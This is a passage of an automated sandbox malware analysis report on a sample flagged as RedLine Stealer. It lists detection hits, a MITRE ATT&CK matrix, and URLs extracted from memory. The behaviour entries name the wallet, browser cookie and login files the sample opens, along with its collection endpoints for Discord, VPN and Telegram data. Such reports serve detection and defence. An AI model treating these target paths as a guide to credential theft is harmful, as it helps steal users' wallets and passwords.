                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.227c9d6.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.227d8be.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.2190000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.227c9d6.5.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.2190ee8.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.49f0000.6.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.3.WXekVwRNtG.exe.5bbcd0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.3.WXekVwRNtG.exe.5bbcd0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.49f0000.6.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.2190000.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.227d8be.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000000.00000002.380597703.0000000002190000.00000004.00020000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.380786166.000000000223C000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.384818345.0000000003575000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000003.290918132.00000000005BB000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.385834535.00000000049F0000.00000004.00020000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: WXekVwRNtG.exe PID: 4660, type: MEMORYSTR
                      Tries to steal Crypto Currency WalletsShow sources
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\Jump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\Jump to behavior
                      Tries to harvest and steal browser information (history, passwords, etc)Show sources
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior

                      Remote Access Functionality:

                      barindex
                      Yara detected RedLine StealerShow sources
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.2190ee8.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.227c9d6.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.227d8be.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.2190000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.227c9d6.5.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.2190ee8.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.49f0000.6.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.3.WXekVwRNtG.exe.5bbcd0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.3.WXekVwRNtG.exe.5bbcd0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.49f0000.6.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.2190000.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.WXekVwRNtG.exe.227d8be.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000000.00000002.380597703.0000000002190000.00000004.00020000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.380786166.000000000223C000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.384818345.0000000003575000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000003.290918132.00000000005BB000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.385834535.00000000049F0000.00000004.00020000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: WXekVwRNtG.exe PID: 4660, type: MEMORYSTR

                      Mitre Att&ck Matrix

                      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                      Valid AccountsWindows Management Instrumentation221Path InterceptionProcess Injection1Masquerading1OS Credential Dumping1System Time Discovery1Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                      Default AccountsCommand and Scripting Interpreter2Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools1LSASS MemorySecurity Software Discovery251Remote Desktop ProtocolData from Local System2Exfiltration Over BluetoothNon-Standard Port1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                      Domain AccountsNative API1Logon Script (Windows)Logon Script (Windows)Virtualization/Sandbox Evasion231Security Account ManagerVirtualization/Sandbox Evasion231SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationNon-Application Layer Protocol1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Process Injection1NTDSProcess Discovery12Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol1SIM Card SwapCarrier Billing Fraud
                      Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptDeobfuscate/Decode Files or Information1LSA SecretsApplication Window Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                      Replication Through Removable MediaLaunchdRc.commonRc.commonObfuscated Files or Information2Cached Domain CredentialsRemote System Discovery1VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                      External Remote ServicesScheduled TaskStartup ItemsStartup ItemsSoftware Packing2DCSyncSystem Information Discovery134Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.

                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      WXekVwRNtG.exe72%VirustotalBrowse
                      WXekVwRNtG.exe34%MetadefenderBrowse
                      WXekVwRNtG.exe93%ReversingLabsWin32.Ransomware.StopCrypt
                      WXekVwRNtG.exe100%Joe Sandbox ML

                      Dropped Files

                      No Antivirus matches

                      Unpacked PE Files

                      No Antivirus matches

                      Domains

                      SourceDetectionScannerLabelLink
                      api.ip.sb3%VirustotalBrowse

                      URLs

                      SourceDetectionScannerLabelLink
                      http://tempuri.org/Endpoint/PartInstalledSoftwares0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartNordVPN0%Avira URL Cloudsafe
                      http://tempuri.org/0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/ConfirmResponseP0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartDiscord0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/SetEnvironment0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/SetEnvironmentResponse0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/VerifyUpdate0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartInstalledBrowsersResponse0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartColdWalletsResponse0%Avira URL Cloudsafe
                      https://api.ip.sb/geoip%USERPEnvironmentROFILE%0%URL Reputationsafe
                      http://tempuri.org/Endpoint/PartInstalledSoftwaresResponse0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartProtonVPNResponse0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartDiscordResponse0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartFtpConnectionsResponse0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartOpenVPN0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/InitDisplayResponseP0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/EnvironmentSettingsResponse0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartOpenVPNResponse0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartProtonVPN0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartHardwaresResponse0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/PartTelegramFilesResponse0%Avira URL Cloudsafe

                      Domains and IPs

                      Contacted Domains

                      NameIPActiveMaliciousAntivirus DetectionReputation
                      api.ip.sb
                      		unknown
                      		unknownfalseunknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#TextWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                        		high
                        http://schemas.xmlsoap.org/ws/2005/02/sc/sctWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                          		high
                          https://duckduckgo.com/chrome_newtabWXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmp, tmp5FBC.tmp.0.drfalse
                            		high
                            http://schemas.xmlsoap.org/ws/2004/04/security/sc/dkWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                              		high
                              https://duckduckgo.com/ac/?q=WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmp, tmp5FBC.tmp.0.drfalse
                                		high
                                http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinalWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                  		high
                                  http://tempuri.org/Endpoint/PartInstalledSoftwaresWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://docs.oasis-open.org/ws-rx/wsrm/200702/CreateSequenceResponseWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                    		high
                                    http://docs.oasis-open.org/ws-rx/wsrm/200702/CloseSequenceResponseWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                      		high
                                      http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/SCTWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                        		high
                                        http://tempuri.org/Endpoint/PartNordVPNWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://docs.oasis-open.org/ws-tx/wscoor/2006/06WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                          		high
                                          http://tempuri.org/WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://schemas.xmlsoap.org/ws/2005/02/rmtWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                            		high
                                            http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                              		high
                                              http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_WrapWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                		high
                                                http://tempuri.org/Endpoint/ConfirmResponsePWXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLIDWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                  		high
                                                  http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessagePaleWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                    		high
                                                    http://tempuri.org/Endpoint/PartDiscordWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://tempuri.org/Endpoint/SetEnvironmentWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://tempuri.org/Endpoint/SetEnvironmentResponseWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecretWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                      		high
                                                      https://support.google.com/chrome/?p=plugin_realWXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpfalse
                                                        		high
                                                        http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/SCT/CancelWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                          		high
                                                          http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/CancelWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                            		high
                                                            http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/IssueWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                              		high
                                                              http://schemas.xmlsoap.org/ws/2004/10/wsat/AbortedWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                		high
                                                                http://docs.oasis-open.org/ws-sx/ws-trust/200512/IssueWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                  		high
                                                                  http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequenceWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                    		high
                                                                    http://docs.oasis-open.org/ws-tx/wsat/2006/06/faultWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                      		high
                                                                      http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/SCTWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                        		high
                                                                        http://schemas.xmlsoap.org/ws/2004/10/wsat/faultWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                          		high
                                                                          http://schemas.xmlsoap.org/ws/2004/10/wsatWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                            		high
                                                                            http://tempuri.org/Endpoint/VerifyUpdateWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                              		high
                                                                              http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/RenewWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                		high
                                                                                http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                  		high
                                                                                  http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKeyWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                    		high
                                                                                    http://tempuri.org/Endpoint/PartInstalledBrowsersResponseWXekVwRNtG.exe, 00000000.00000002.381923098.000000000283F000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    http://tempuri.org/Endpoint/PartColdWalletsResponseWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    http://docs.oasis-open.org/ws-rx/wsrm/200702/SequenceAcknowledgementWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                      		high
                                                                                      http://docs.oasis-open.org/ws-tx/wsat/2006/06/ReplayWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                        		high
                                                                                        http://docs.oasis-open.org/ws-tx/wsat/2006/06/AbortedWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                          		high
                                                                                          http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/CancelWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                            		high
                                                                                            https://api.ip.sb/geoip%USERPEnvironmentROFILE%WXekVwRNtG.exe, 00000000.00000002.380597703.0000000002190000.00000004.00020000.sdmpfalse
                                                                                            • URL Reputation: safe
                                                                                            		unknown
                                                                                            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmp, tmp5FBC.tmp.0.drfalse
                                                                                              		high
                                                                                              http://tempuri.org/Endpoint/PartInstalledSoftwaresResponseWXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              http://tempuri.org/Endpoint/PartProtonVPNResponseWXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                		high
                                                                                                http://tempuri.org/Endpoint/PartDiscordResponseWXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequestedWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                  		high
                                                                                                  http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnegoWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                    		high
                                                                                                    http://docs.oasis-open.org/ws-tx/wsat/2006/06/PreparedWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                      		high
                                                                                                      http://schemas.xmlsoap.org/ws/2004/08/addressingWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                        		high
                                                                                                        https://support.google.com/chrome/?p=plugin_shockwaveWXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmpfalse
                                                                                                          		high
                                                                                                          http://tempuri.org/Endpoint/PartFtpConnectionsResponseWXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpfalse
                                                                                                          • Avira URL Cloud: safe
                                                                                                          		unknown
                                                                                                          http://schemas.xmlsoap.org/ws/2005/02/trust/RST/IssueWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                            		high
                                                                                                            http://tempuri.org/Endpoint/PartOpenVPNWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://tempuri.org/Endpoint/InitDisplayResponsePWXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://tempuri.org/Endpoint/EnvironmentSettingsResponseWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponseWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                              		high
                                                                                                              http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/CancelWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                		high
                                                                                                                http://tempuri.org/Endpoint/PartOpenVPNResponseWXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpfalse
                                                                                                                • Avira URL Cloud: safe
                                                                                                                		unknown
                                                                                                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dnsWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                  		high
                                                                                                                  http://schemas.xmlsoap.org/ws/2005/02/trust/RenewWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                    		high
                                                                                                                    http://docs.oasis-open.org/ws-tx/wsat/2006/06/Durable2PCWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                      		high
                                                                                                                      http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessageDWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://support.google.com/chrome/?p=plugin_wmpWXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpfalse
                                                                                                                          		high
                                                                                                                          http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/SCT/CancelWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                            		high
                                                                                                                            http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionIDWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                              		high
                                                                                                                              http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCTWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                		high
                                                                                                                                http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  http://schemas.xmlsoap.org/ws/2006/02/addressingidentityWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    http://docs.oasis-open.org/ws-rx/wsrm/200702/AckRequestedWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKeyWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        http://docs.oasis-open.org/ws-tx/wscoor/2006/06/RegisterResponseWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          http://schemas.xmlsoap.org/ws/2004/10/wsat/RollbackWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            https://support.google.com/chrome/?p=plugin_javaWXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              http://docs.oasis-open.org/ws-tx/wsat/2006/06/CompletionWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                                		high
                                                                                                                                                http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCTWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  http://schemas.xmlsoap.org/ws/2004/06/addressingexWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/IssueWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                                      		high
                                                                                                                                                      http://schemas.xmlsoap.org/ws/2004/04/security/trust/NonceWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                                        		high
                                                                                                                                                        http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponseWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                                          		high
                                                                                                                                                          http://tempuri.org/Endpoint/PartProtonVPNWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                          		unknown
                                                                                                                                                          http://docs.oasis-open.org/ws-tx/wsat/2006/06/CommitWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                                            		high
                                                                                                                                                            http://tempuri.org/Endpoint/PartHardwaresResponseWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                                            • Avira URL Cloud: safe
                                                                                                                                                            		unknown
                                                                                                                                                            http://tempuri.org/Endpoint/PartTelegramFilesResponseWXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpfalse
                                                                                                                                                            • Avira URL Cloud: safe
                                                                                                                                                            		unknown
                                                                                                                                                            http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                                              		high
                                                                                                                                                              http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/SCT/RenewWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                                                		high
                                                                                                                                                                https://support.google.com/chrome/?p=plugin_divxWXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmpfalse
                                                                                                                                                                  		high
                                                                                                                                                                  http://docs.oasis-open.org/ws-sx/ws-trust/200512WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                                                    		high
                                                                                                                                                                    http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                                                      		high
                                                                                                                                                                      http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentifWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                                                        		high
                                                                                                                                                                        http://schemas.xmlsoap.org/ws/2004/10/wsat/CommittedWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                                                          		high
